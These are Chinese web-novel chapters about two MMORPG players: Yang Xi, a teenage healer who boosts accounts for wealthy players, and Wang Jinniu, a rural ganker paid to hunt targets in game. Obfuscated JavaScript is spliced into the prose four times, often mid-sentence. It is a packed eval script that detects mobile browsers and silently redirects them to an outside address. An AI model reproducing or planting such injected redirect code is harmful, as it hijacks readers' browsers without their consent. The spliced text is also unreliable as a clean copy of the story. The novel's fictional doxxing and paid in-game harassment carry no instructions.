排行榜上的金字ID明晃晃地挂在那，整个服务器玩家都能看见。于是顺理成章的，杨曦很快被大帮会的管理员私聊，挖进了帮派，从此认识了一大堆人，在这片虚拟世界里有了自己的一席之地。 但除了公平论武外，游戏里绝大多数其他玩法都是靠金钱堆出来的属性来区分胜负高低的。杨曦没钱，她进的帮会又是区内数一数二的大帮，越到后面，她的属性就越来越跟不上了。 于是杨曦没多久就干脆抛弃了自己的账号，成了帮会一名大老板的“专职”代练。 老板们有钱有属性，却有很多没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094586|195607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间也没有技术，于是一到帮会战、领地战、排位战之类的需要操作手法的团战型PVP玩法时，帮会一般就会安排一些“武魂”打手们上号了。 杨曦那时是帮会里“第一奶妈”的专属代练，那号充值有近千万，任何能氪的数值都拉满了，号大得简直骇人听闻。 十五岁的杨曦人甜声软技术过硬，不论是帮会战还是每月职业个人战都能给老板号稳拿MVP，哄得号主姐姐很喜欢她，每个月大小奖金代练钱拿得比许多上班族都要多。 技术好又有手法嘛，帮会也捧着她，尤其一众dps们，争着跟她一队。有钱有面有地位，杨曦的MMORPG之旅是风光又开心的。 而王金牛呢，她跟杨曦则是截然不同的一种玩家。 相同的一点是，她们都很有技术。这王金牛玩的是游戏里的刺客型职业，也拥有一手公平竞技场里常年霸榜的实力。 但导致了她和杨曦在游戏里走向截然不同命运的，是王金牛这人实在“很贱”。 王金牛其人，既不爱打本也不爱社交，每天除了打竞技场，最爱的事就是开着隐身挑一个刁钻的位置往野外一扎，“蹲人”。 游戏里的野外嘛，开红随意，死亡惩罚呢各个游戏不尽相同。在杨曦当年玩的那款游戏里，玩家在野外死亡一般会掉点采集资源和装备耐久度。 王金牛那时候每天两眼一睁上游戏就往各种野外资源点附近蹲着，见谁杀谁。这人手法犀利操作飘逸，大多数职业她一套爆发就能秒，走位也刁钻，低于三人组队，基本都能被她风筝死。 别人被她蹲死了，要是私聊她，她是不回的，如果骂她了，她也不回，但是会记下对方ID，下次盯着杀。总之，就这么一人。 这种风雨无阻无冤无仇就是蹲人的玩法，让王金牛开服没多久就闻名全区，一度被称为服务器“野外毒瘤”之首。 这人当时闹得风风雨雨臭名昭著，同在一区，杨曦当然也吃了不少瓜。 闹得最大的一次，是王金牛蹲到了某知名老板头上，还一连蹲了好几次，对方放话出来“不道歉就开（户）”。 满世界又是刷屏又是开帖的，满城风雨。 在众多吃瓜群众兴奋的围观下，王金牛第一次出来公开回了一次话。 她说什么呢？ 王金牛说：“随便你。如果不是网络发达了，你根本都见不到我这号人。” 老板受此挑衅，勃然大怒，扬言第二天天亮就会找人线下“真实”她，好好看看她到底能是哪号人。 剧情走向如此的激情四射，全区甚至全游戏的吃瓜群众都陷入了看热闹的狂欢，副本也不打了竞技场也顾不上了，全都数着分钟蹲后续。 老板确实是个真老板，说开也就真开了。王金牛的大名以及大头照当晚就被贴了出来，帖子没能活多久，但记录依旧在各大游戏群里被疯狂转发。 杨曦当时当然也看见了，她第一次见到这种事，印象还挺深刻的。 照片上的王金牛看着很男相，但性别栏写着女。寸头，单眼皮，面无表情地目视着镜头，干干瘦瘦，长着一张年轻呆板与世无争的脸。 杨曦当时心想——我去，居然是个女的。 这事一出，虽然王金牛当时的名声很是天怒人怨，也依旧有很多人觉得不妥。泄露个人隐私了，不少人建议她报警。 在这时候，王金牛出来回复了第二句话。 她说：“查到我名了，地址也知道了吧？你先飞机到咱市，火车到咱县，然后转汽车三小时到咱镇，后面要再到咱村呢，只有摩托路。骑车两个小时，再步行过条河沟，上山你们城里人可能得要一个多小时。我们家在东坡上。来吧，俺就在家门口等你。” “都说了，多亏现在网络发达了，俺这旮旯地儿也能联上网，你们才能见着俺这号人。” 10. Chapter10 Chapter10王金牛（二） 据说那老板后来自己都笑了。 有人转发了份聊天记录出来，只见老板发了个大拇指，说王金牛家庭地址显示在南方边境上的十万大山里。只需要往南再翻过一片岭，就直接能出国境了。 荒山又野岭，找代打都没人肯接单。 老板最后说，穷山恶水出刁民，今儿也算长见识了，算了。 于是王金牛从此不仅实名上网，还拥有了一个外号叫作“刁民”。 这事之后，她本人不仅照常玩游戏，人家朝她王金牛王金牛地喊，她也没半点儿不自在，有时候心情好还会应一声。 “咋？叫俺干啥？” 和许多网友一样，杨曦认为这真是个奇人。 而她本人和王金牛的真正交集，则发生在一次一季一度的阵营战里。 当时游戏里连开了三个大地图作为“野外战场”，持续一整天的全阵营争夺战，最终会按各阵营的资源量、伤亡数、据点数等汇总总积分结算阵营胜负，算是整个游戏里PVP玩法的狂欢时期。 大家都很激情很热血，杨曦这边的总指挥一个人两升水，在地图麦里声嘶力竭地喊了一整夜。 杨曦也跟着熬了个大夜。 主要帮会里的几个老板轮番发红包，她身为主要代练之一，拿着几乎是全区最大的奶号实在没法说要下线，这种情况只能顶上了。 好在她年纪小，精力足，偶尔通个宵也没啥事。尤其想到事后老板姐肯定会给她补上个大红包，熬就熬嘛，杨曦心里还是比较无所谓的。 她当时站在她们团的人堆里，正平平淡淡地放着技能，平平淡淡地敲着键盘，掌控着整个团的血量。老板的号太大了，以杨曦的能力拿着它操作，整个精英一团几乎没有人会倒下。 熬到后半夜了，杨曦已经有点犯困，操作也慢慢开始机械化。然后她突然发现自己头上多了个红标。 杨曦当时愣了一下。 这红标是属于游戏里一个刺客职业的狩猎标志，表示你被对方锁定了，对方打你有增伤效果。 她当然是认识这个标志的。 但杨曦那时候，人在自己家区域核心位置，不仅有阵营护佑，身边也都是自己人，可谓是处于己方大本营的地方。 这地方哪儿来的刺客啊？ 不过在愣神的同时，杨曦下意识地也给自己套了一个减伤技能和护盾，并且立即移动了游戏角色的位置。 以她的手速，一秒钟内就能交出三个技能以上，而且杨曦一向有保持技能循环，留保命技的好习惯。 这个习惯救了她。 那一瞬间，猩红的狩猎红标一个闪烁，杨曦老板号那厚得可以媲美T位的血条直接见底，只剩了层血皮。 亮黄亮红的重创、控制、减疗多重debuff同一时间在她头顶上烟花一样炸开，杨曦当即一个激灵，手速如飞，大小抬血外加免伤解控技能一个接一个，键盘敲得噼啪响，这才飞快地转出了对方的收割圈。 而直到这时，团里其他人才发现了不对，一片“卧操”声里，刚刚站杨曦身边的一圈辅奶直接倒地了两个。 “啊？卧操！有刺客？！” “我靠啊！怎么进来的？？” 那刺客在脱隐（身）后，毫无反抗能力地被所有人当场集火秒掉了。 杨曦略受了点惊吓，之后整个人也清醒不困了，跟队友们一起围观了一下地上的尸体，听着麦克风里大家七嘴八舌地讨论着这人咋进来的。 “卡无敌加隐身从地图死角绕进来的吧，我猜轻功从山顶直接跳下来的。技术牛逼啊。”团里的几个刺客说，“这号我认识，对面的一个大号。但他本人应该没这水平，估计找代了。” “找的谁啊？” “那我哪知道啊。有这实力就那几个呗，回头问问。” “太恐怖了，咱几个奶妈血条瞬间见底，我都没反应过来。” “还是小晴反应快啊，这都不死，不愧是咱帮第一大奶啊。” 杨曦那时候ID叫秋日晴，也是她社交账号名，亲友们大多管她叫小晴，有时候调侃也喊一声“晴神”。 杨曦听到夸奖，笑了笑没说话。 地上的刺客尸体只几十秒就刷走了，她经此一吓瞌睡醒了，剩下的时间一直都留了份警惕，可那刺客再也没来过。 一直到阵营战结束，杨曦熬了一宿准备下号睡觉了，忽然接到一条密聊。 密聊人居然就是当时跑进来切她那刺客。 说实话，杨曦当时心里觉得这人得是她玩这游戏以来遇到最厉害的一个刺客。不用说，对方肯定是冲她这个阵营第一奶来的，没秒掉也带了另外两个辅奶走，实在厉害。 自家人知道自家事，她手上这么大的这个老板号，自从拿到以来，虽然有出其不意的成分在，但真正的从一个输出手上感受到了死亡威胁，这是头一次。 在那一瞬间，不夸张的说，杨曦虽然是成功活下来了，但她心里真的是惊了一跳。 来自高手刺客的压迫感，真是久违了。 那刺客私聊她，就发过来了四个字：“玩得不错。” 杨曦坐在屏幕前望着对话弹窗沉默了片刻，鬼使神差的，她忽然有了一点聊性。 杨曦回道：“你怎么没有再回来了？” “没机会了。”刺客坦诚地说，“第一次没成，就不用再试了。” 顿了顿，又补了一句：“你是我见过反应最快的奶。” 被称赞总是令人高兴的，尤其是来自于强大对手的称赞。杨曦嘴角翘了翘，回了句：“你也玩得不错。” “我今天不该接你这单。亏了。”刺客说。 “你是接单的？”杨曦有些好奇地问道：“单子内容就是杀我？” “对。”刺客说，“我每次阵营战都接一个，专盯一个或者几个人，保证一直在复活点，我就有钱拿。” 当年十五岁的杨曦犹豫片刻，忍不住问：“你接这种单，钱多吗？” 对面说还不错，按人头结款，然后竟然十分耿直的把数额发了过来。 然后感叹说：“干这一夜，顶俺养十只跑山鸡一整年，可真赚。” 杨曦：“……” 杨曦看得一愣又一愣，想了想，回说是挺多，跟她干代练赚得的差不多。 刺客闻言很羡慕，说还是比不了，不像杨曦天天稳定收入，自己这活只有阵营战有，平时可没有这钱拿。 两人莫名其妙地聊了一阵，最后杨曦出于个人那收集高手dps的习惯，提出加社交平台好友，刺客也同意了。 加上后，杨曦才知道，这人原来就是那个“大名鼎鼎”的王金牛。自从实名上网那事儿之后，王金牛她自个儿平台ID名就直接明明白白写的“我是王金牛”。 确实奇人。 此后，两人也没咋聊，就仅止于加了个好友的关系。杨曦那些年会在朋友圈发些精修的自拍照，王金牛会给她点赞。 有时候还评论一些，“长真白净”、“漂亮啊[大拇指]”、“俺看你可得劲”，杨曦每次都觉得挺逗乐的。 她觉得王金牛这人啊，总有种奇怪的幽默感。 两人后来熟悉起来，又是因为另一件事。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094587|195607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 在那款MMORPG游戏里，每周三和六都会有个固定刷新的野外BOSS，属于团怪，给的东西很可观，概率掉特殊材料，而且就算没掉，剩下给的杂七杂八的东西哪怕均分到三十人团的每个团员头上，也还是有赚。 于是一到这个点，就是各大公会群英集结激情论武的时候。 那天也一如既往。 杨曦打这个照例是双开的。一边开着老板号跟着帮会精英团当主力，一边自己的小破号也在团里挂着。 不要白不要嘛，虽然说是自己号不用了，当年也是用心养过的，有这种能混点资源的活动，也是开过来混一点是一点。 但那天运气不太好，两个野外BOSS一个被另两个大帮合力抢了，自己这边这个仇恨也不太稳。杨曦待在团里一边听着指挥火急火燎的大吼声，一边开着地图查看各处战况。 她所在的虽然是服务器第一大帮，但下面还有二三四五号其他体量也不小的帮会，偷偷摸摸突然联合起来搞他们，也是很难缠的。 就在这时候，王金牛密聊了她，用的是她自己的号。 伴随着一条好友申请。 王金牛问：“你是不是秋日晴？” 杨曦看到消息一愣，分出手去回了一个是字。 而王金牛接下来的一句话，让杨曦当时摁技能的手都停了一下。 王金牛说：“我现在位置很好，有把握抢一个BOSS，但是我活不了，你来帮我吗？” 杨曦：啊？ 她忍不住问：“你一个人？” “对。”王金牛说，“他们打着架仇不稳，我卡着血，应该能等最后几秒出去把拉仇的T秒了，再接一套爆发收掉BOSS最后的血。” 王金牛又说：“但是我要秒T，破隐那一瞬间我就活不住。你如果能保住我，哪怕就一两秒，我俩就能单吃这个BOSS。” 杨曦：“……” 屏幕前的杨曦陷入沉默。 王金牛的消息催促道：“快点啊，干不干，机不可失啊！我好不容易才摸到这个好位置。” 杨曦：“干了。” 她发道：“等下，我用另一个号加你。” 杨曦用的就是她本人的号，老板号当然是不可能动的，除非她也活腻了，想大头照论坛挂了。 用自己的号，虽然得的资源用处不大，但野外BOSS惯例会掉一些可交易的材料，这是可以通过交易行转换成游戏货币最终出手换成人民币的。 要是运气逆天出个特殊材料，那可是血赚了。 杨曦动作很快，不到半分钟的时间内，她同时做了很多事。 一，将自己的号退团并且加上王金牛好友，进入王金牛的队伍并且用最快的速度接近王金牛现在所在的位置。 二，把老板的号找一套安全的循环技能挂上自动施法，放到队友人堆里开混。 三，私聊团长说考虑到今天战况激烈，就不用小号占位置混了，自己先退了。 在团长一句“小晴很识大体啊”的夸奖声中，杨曦已经快马加鞭朝着王金牛的方向赶过去了。 杨曦自己的号虽然不能算大号，但也绝对不小，基础配置完全在线，又是个有点坦度又能回血的奶妈，于是虽然野外一片混战，杨曦还是成功穿越大半个战场成功跑过来了。 “牛逼。”王金牛说，“准备好爆发准备接我。” 她开了队伍麦，那是杨曦第一次听见王金牛的声音。咋说呢，有点中性化，特别中气十足的一款音色。 杨曦找了个合适的位置，在能奶到王金牛的最远距离卡住，然后回了个OK。 11. Chapter11 Chapter11放钩 而那一次，王金牛确实做到了，如她自己所说，她在脱隐第一秒就成功秒掉了BOSS脚底下正拉着仇的T位。 当年那款游戏的机制是，怪物仇恨机制单向，如果当前的仇恨目标死亡，怪物的仇恨就会自动落在下一个使用嘲讽技能或者造成击杀，又或者当前打出秒伤最高的玩家头上。 王金牛把为了拉怪带了一身PVE（副本）装备的T位秒了，而她自己在下一瞬间也无可避免地暴露在了打着BOSS的这支大团的其他玩家视野里。 “救命啊——！！”王金牛在麦克风里吱哇乱叫。 不用她叫，一旁躲着的杨曦早就屏息等待着这一刻，毫不迟疑的大抬免伤加盾，成功将血线瞬间拉满，在炸得五光十色的技能堆里保了她半秒。 “但是我无敌还要三秒cd啊！”王金牛喊道。 一句话喊着话音还未落，发现自己身上亮起了“金身”的免疫白光。 奶妈职业给予的“金身”持续1.8秒的免伤成功让王金牛得以开了一个快闪技能冲出了包围圈，虽然金身失效后仍然吃了一波溅射伤害，但不致死，卡着个血皮又吃了一个身上护盾破裂的回血，刚好撑到了刺客的无敌（免伤+位移）技能转好。 “我去！你这手真是快啊！”王金牛麻利地卡了一个熟练度极高的技能衔接，成功跑出了打团攻击距离。 一个像她这样的顶尖刺客，只要脱战，那可就是天高任鸟飞了。 隐身一开，潇洒离去。 这时候杨曦已经早就跑远了。 不像刺客腿脚快得跟踩溜冰鞋似的，奶妈可是短腿职业。杨曦当时技能一交，群抬都没敢给，掉头就搓了一段小轻功脱战跑远了。 没办法，她奶队友当然没人看得到，但如果哪怕被任何一名敌方的aoe摸到一下，攻击的玩家就是可以看到她ID的。 ——那可就是大头照警告了。 同样的，这游戏里的奶妈职业施放地板群抬技能，也有概率会给予到同样站在那位置的别队玩家溅射治疗。这情况下也能被看到ID。 杨曦当时心里计算了的，只要王金牛操作水平过硬，自己交的那四个技能已经足够她活了。 王金牛确实也活了。 “芜湖！”她一边跑路一边用那道中气十足的大嗓门在队伍频道大叫着，“我活了！我活了！牛啊小奶妈，这金身给得，太有实力啦！” 杨曦当时还不太了解王金牛这人的性格，只觉得这人热情得有点浮夸了。但当时她干了这票自己心情也很不错，回夸了一句你也不错。 杨曦在那款游戏里所玩的奶妈职业，有辅奶和纯奶两种形态，需要整套切换使用。奶形态主治疗，有复活技能；辅形态能有一点伤害，有个能套给队友的被称为“金身”的技能替换了复活。 杨曦当时先是用了奶形态的几个技能把王金牛的血线拉回去，然后再用免控配合轻功二段脱战卡掉cd切了辅奶，才能给出的后面那个关键的金身技能。这算是奶妈职业很难才能打出的高阶操作，杨曦没事自己琢磨出来的。 王金牛猛猛地夸了她几句，然后两人一起蹲在地图无人的角落等BOSS击杀判定完成。 当一大堆物品的获得提示外加公共拍卖在屏幕上跳出来的时候，杨曦心脏咚咚跳了两下，知道得手了。 两个人瓜分三十人的掉落，怎一个爽字得了。 而且运气极好的，那一次拍卖竟然出了一个金色专属材料。 队伍麦里响着王金牛倒吸一口气的声音，随后她俩一通商量，决定不管最后东西掉谁包里，卖出去的钱都平分。 只有两个人的公共拍卖嘛，流拍后就只会掉落在她俩的包里。 那块金色材料最后被杨曦拿到手，放上交易行转手再卖出游戏代币，一共赚了八千块。而她也如约定的那样，把这钱分了王金牛一半。 王金牛很高兴：“顶俺养一年的跑山鸡！” 又夸杨曦这人实诚，可以处，以后还找她。 杨曦心里则想的是，她自己虽然辛苦点倒腾了变现手续，但王金牛一个人挨下了所有的骂，也是狠狠付出了。事情过去一周多了，公屏上都还有人在刷着传音点名骂着呢。 有了这次狼狈为奸的合作，当年十五岁的杨曦和王金牛这人才算是真正地熟络了起来。 她得知王金牛那时年纪也不大，十七岁，刚念完高中，并且不打算往下再读了。 “俺家还有个老奶在，八十多了，俺父母都不回来。我出去读书了，我奶一人在家那可不行。”王金牛说道，“在俺村这地，读了高中已经是高材生啦。俺就在家养养鸡得了。” 王金牛讲自己每天除了养她的几十只跑山鸡，就是上网打游戏。她平时最爱嘀咕的就是一句“现在时代好了啊，村里网也快”，杨曦每次跟她打个语音过去不是鸡叫就是牛叫，也算长了见识。 王金牛对杨曦说，自从上次那老板开她（户）那事儿之后，就莫名其妙有人找上门来私聊她，找她下单，指名道姓让她去游戏里蹲某某人，凭击杀截图领钱，有时候还提供“作案”账号。 “这简直是天上掉钱啊，乐死俺了。”王金牛说。 后来发现接这些“暗杀”单甚至比她自己养鸡要挣钱后，王金牛就感觉很幸福。 “俺本来就爱干这事，现在还有人花钱雇俺。”王金牛呲个大牙开心地说，“这日子可真是美啊。” 杨曦和王金牛这段阴差阳错莫名其妙的友谊足足持续了七年至今，连杨曦自己都感觉奇妙。 可能因为除去游戏里成天惹是生非之外，杨曦觉得王金牛这人其实为人还挺老实的。 相处久了，她发现王金牛的性格大致有两个状态，一是平时大多时候，这人挺沉默寡言不太爱吭声，甚至有点呆头呆脑的；二是游戏里正在干或者干了啥“好事”的时候，王金牛在这种时候话会变得特别多，大呼小叫地嚷嚷，像条兴奋的狗似的嗷嗷叫唤。 她和杨曦是截然不同的两种人，杨曦觉得王金牛人很有趣。 杨曦的好友列表长达三千，网络交际圈人山又人海，但要让她自己从中数出心里认为最熟悉的几个，有王金牛一个位置。 可能因为认识以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094588|195607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后时不时偷偷约着一起干“好事”的特别经历，也可能因为逢年过节王金牛给她寄来的神奇“腊鸡”——是真挺神奇，整个熏得黑乎乎油腻腻的，味道却还不错。 当然，最重要的一点也是王金牛玩游戏玩得实在好，在杨曦认识的所有人里都算得上数一数二的天赋怪。而且在游戏职业上，王金牛也是像杨曦什么游戏都玩奶妈一样，玩啥也都只玩高操作高爆发的尖刀型职业，完美符合了杨曦的那份收集癖。 王金牛七年如一日的在不同的游戏里同样的干着这行嘛，难免得罪些人——这个“些”的量呢，大概也就比杨曦的好友列表来得少那么一点了。 所以呢，她也就时不时难免要经历一些诸如手机号经常变骚扰电话啊、银行卡莫名其妙被冻啊、社交账号隔三差五限制交友限制发言啊之类的小挫折了。 一遇到这种事，杨曦就成了救火兵。王金牛声称杨曦是她唯一的好朋友，每次都过来找杨曦商量咋办。 杨曦也就只能和她一起凑着研究，一通搜索后给出什么本人去银行一趟、打电话去找平台客服之类的建议。有时候还会给她临时垫付一下账单，比如这次的代购全息头盔。 王金牛很感激，年年都给她寄腊鸡。 “俺亲自养的跑山鸡，肉特香。” 杨曦：“……” 杨曦想着过往种种，忍不住轻轻地摇着头笑了一下。 怎么说呢，缘分这东西啊，天南地北不相干的人，莫民奇妙就聚在一起了。 给王金牛买完头盔，杨曦就准备正式要开始“备战”羲和开服了。 8月17开服，今天都已经8月14号晚上了。 想了想，杨曦打开自己的朋友圈，开始构思起要怎么发送这条内容。 她爬起来，捋了捋头发，又理了理衣服，对着窗外渐落的夕阳摆了半天的姿势，咔咔一顿拍。然后埋头选了半天，选出了觉得最好的两张，选中，准备发送。 杨曦年纪小的时候挺喜欢在社交平台上发自己的自拍照的，长得漂亮的小女孩嘛，晒晒美丽想要得点夸奖与关注稀松平常，谁都是青春期过来的。 但等年龄大点了，杨曦慢慢就有些厌倦了这种行为。生活忙啊，打游戏更忙，她列表人又太多了，每次发个自拍就要少不了大大小小的聊上一圈，怪累的。 所以到现在，她都是有某种目的的时候才会发一发动态。 比如现在，发两张不错的照片，让自己在众多好友们面前刷新一下存在感，想起来还有我这号人，这就是杨曦这时候的目的了。 她引起这份注意想干什么呢？当然是找人一起玩游戏了。 选好了自拍照片，杨曦想了想，又跑去自己的电竞房里对着桌上的头盔拍了一张，同样选中进了这次的朋友圈。 然后她盘着腿懒散地靠回沙发里，开始编辑文字了。 “哇，才发现盼望已久的全息游戏要开服了耶！两天后有没有人一起玩呀！（小表情）（小表情）” OK，发送。 钩放下去，现在就是等鱼咬上来了。 杨曦抱着手机开始等待。 12. Chapter12 Chapter12帮会 为什么得找人一起玩？ 很简单，因为杨曦是个玩奶妈的。她需要团队、需要队友，需要一个强大可靠的阵营。 而且她本人还很贫穷，没那么多钱拿去氪金，所以她需要背靠大公会以获得游戏资源，无论是数值资源，又或者人脉资源，都一样。 羲和虽然宣传说是一款全新的游戏，但根据杨曦所见的游戏资料片和她参与内测时体验过的玩法，她认为这应该仍然算是一款MMORPG（大型多人在线角色扮演游戏）游戏。 作为一名资深奶辅玩家，如何在一款MMORPG游戏里让自己玩得开心、玩得爽快，杨曦的经验是很丰富的。 那就是“一步先，步步先”。 简言之，早做准备。 开服前，就先集结强力可靠的队友，最好是一群有钱的、有技术的、有统战或者副本团指挥能力的，这样一批人一起进入服务器，探索度和资源收集能力一定就会远远优于其他散人玩家。 是，杨曦自认游戏天赋过人，但羲和是一款跨时代的全新全息游戏，一下子从用手玩游戏跨度到“脑控”玩游戏，她自己能否立刻稳稳当当地成为佼佼者，甚至独领风骚者，杨曦心里其实也是有疑虑的。 毕竟她是决心要做“职业玩家”的。 她的野心很大，对羲和寄予厚望，想要在这款游戏里赚大钱，买大房子，想后半生衣食无忧。迫切的欲望与愿景，意味着杨曦必须得要占尽先机，利用一切自己能够得到的优势，好好的去“玩游戏”。 杨曦很清楚，羲和承载得起她的期望，它是一片沃土，一座巨舟，是方舟工作室十年磨一剑的心血之作，是她可以揣着掘金梦冲进去拼搏驰骋的新世界。 她一定要把握住这趟滚滚而来的浪潮。 羲和的氪金机制暂时还不明确，但就算明确了，她也完全没钱去跟老板比什么财力。 所以杨曦的计划是按照她熟悉的路子来，先凭借游戏圈的人脉提前找好一个有资本的帮会，获得一群有实力的队友，然后进游戏以后，依靠她掌握的先机与自身能力，走在大多数其他玩家前面，再以“高玩”的身份在帮会里拿到话语权，借助帮会的资源养她自己。 就这样，如果计划顺利，她就至少能一直走在大多数玩家前面。最快达到高数值的玩家总是能获得更多的资源，资源又能把数值堆得更高，就仿佛滚雪球，正是那句话：“一步先步步先”。 至于要怎么在游戏中赚到钱，杨曦心里也还没有想法。 虽说她经历过内测，但就算对于她这个参与的测试内容很可能在所有内测玩家中最多的一个来说，所触摸到的也只不过是那个庞大游戏世界的冰山一角罢了。 所知得太少，还没有头绪。 不过首先，做代练这条路肯定是行不通的了。就杨曦所知，羲和采用的脑媒接触技术是基于玩家的身体生物信息基础上运行的，一人一号，人和账号只能完全绑定。 不过杨曦对此倒也没有太担忧。羲和会是个玩家体量空前巨大的游戏，只要有人的地方，手握资源，总是不缺钱赚的。 . 两天后。 清晨，杨曦一大早便精神奕奕，情绪高昂。 只因为今天——她等了这么多年的游戏终于要开服了啊！ 杨曦爬起来先洗了个澡，再一看时间才八点，距离开服还有两个小时。难得有兴致，她准备出门好好吃顿丰盛的早饭。 外卖虽然很便捷，但在口味和安全上终究还是差点意思。 杨曦收拾妥当，踏着一双舒适的小皮鞋出门了。八月的盛夏，清晨是一整天里最舒适的时候了。 杨曦花重金租下的房子，小区环境极好，树木花香伴随着凉风扑面而来，一切都是那么的舒适。 朝阳微微露头，曦光破云而来。 杨曦心情也好得不行，认为这耀目无比的金光预示着她接下来将会一切顺利，踏入美好新生活。 她一边走，一边将手机点亮屏幕看了看。前天加入的帮会群这时候果然很热闹，一大早就叽呱叽呱地聊个不停，聊得消息一直999+。 是的，游戏还没开服，帮会群里就已经有两百来号人了。 这是杨曦经过一番认真筛选后为自己选择的第一个预备“亲友团”——为什么说是“第一个”呢，因为不出意外如果以后找到更强的帮会她当然是会跳槽的嘛。 杨曦那天发完那条朋友圈，来找她的人很多。杨曦从小到大玩过一大堆不同类型的游戏，有高强度沉迷的时候，也有现实生活忙碌淡游的时候，就是从来没有过菜的时候。 在想要扒拉点强力队友的时候，杨曦自己又何尝不是是他人眼里的“强力队友”一枚呢。 杨曦在仔细回忆了每个来找过她的人的具体经历和条件，最后选择了她现在所在的这个“预备帮会”。 帮主为帮会暂定的名字是“惊鸿”，因为现在还无法确定一个帮会成员容量，还定了个二帮，准备叫作“游龙”。 翩若惊鸿，婉若游龙嘛。既然是个古风武侠游戏，帮主说名字也当然得武侠点了。 杨曦选中这个预备帮会呢，是因为就她的观察，这帮会光从人员结构上来看，就特别靠谱。 拉她进群的是帮会的副帮主，也是实际上的管事人。 这个人呢，网名叫作“大黄豆”，人称“豆哥”。 杨曦是在上一个MMORPG游戏里认识的他，那时候这个豆哥曾经在阵营活动中出任过阵营总指挥，同时也是一个帮会的帮会总指挥，职业的，拿工资的那种。 就杨曦所知，豆哥本来是个上班族，由于为人外向爱说，还略通一些战术和对阵逻辑，后来被游戏某大帮会的老板看中，花钱给他开工资，让他别上班了去做专职帮战指挥。 豆哥一听有这好事，立刻就把现实工作给辞了，开始每天拿着老板的钱在家玩游戏。 在杨曦眼里，豆哥是个很有能力的人。杨曦当时虽然和他并不在同一个帮会，但以她的游戏人脉，轻易就能知道很多事。 这个豆哥在拿钱开始做全职指挥后，几乎没有一天是懈怠的，每天就搁那研究录屏琢磨打法，没事儿就把大家都捉去听他的战斗复盘。从傍晚到半夜，又从夜半到天明，激情得好些□□都直呼受不了。 杨曦那时候经常听一些和自己一样做代练的朋友们吐槽豆哥真是太畜生了，好像一天到晚打了鸡血一样不需要睡觉的。 也正是豆哥的这份激情与努力， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094589|195607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最终领着他老板所在的帮会在游戏官方组织的全服帮会排位赛上斩获魁首，帮会大名与奖杯永久高挂在了游戏名人堂上。 据说从那以后，豆哥的老板对他满意得不得了，听说还在现实里送了他一套房，甚至给他在自家公司挂了个职，好领五险一金。 这次要“进军”羲和的，就是豆哥的老板，网名叫作“西门玄风”。一听这ID，就知道老板是个古风爱好者。 自从开始进入正式宣发期，羲和这几天以来一改多年的低调，网络上铺天盖地都是广告，宣传得整个游戏界该知道的都知道了。 一个号称“跨时代”的游戏，风格似乎又明显是武侠风MMORPG，有钱有闲有江湖梦的玄风老板当然有兴趣来试试水了。 豆哥接到“皇命”，当然立刻得马不停蹄地去为老板招兵买马造楼台啊。 羲和开服七天前才开始对外放消息，可害苦了不少他这样的游戏人，以及游戏工作室。 这七天里，豆哥到处拉人，又要发广告又要找人聊天聊地聊人生，还得做各种组建帮会的开服准备，也是忙得四脚朝天。 一个想要做大的正经游戏公会，一般都得有一套“绩点制”的福利体系，没钱可没人肯聚起来给你卖力气。 比如带本一次给多少绩点，野外带团拿BOSS多少绩点，帮会战一场多少绩点，额外的训练赛、排位赛又是多少绩点……然后这些点数通通都是可以在管理处兑换成现金。有福利有制度，这才能拉起一个具有凝聚力与战斗力的大帮会。同现实里开公司是一个道理。 豆哥跟着玄风老板干了这么多年，对怎么拉起帮会这一套早已是炉火纯青。这不，七天里搞来了质量相当不错的二百多号人。 杨曦选择同意他的邀请，看中的一方面就是她对豆哥这人很熟悉，而且同时，她对他身后老板为人也有一定的了解。 西门玄风老板，算是杨曦见过所有游戏大老板里自己本人对游戏热情度最高的一个。财力也很过硬，听说是南方一个做茶叶生意的大哥。听说他不仅平时大把的撒钱，对帮会的运行情况较为关注，连游戏里的帮战阵营战甚至副本之类的活动，但凡有时间，他都会自己上号来打。更难得的，杨曦听说他脾气也还不错。 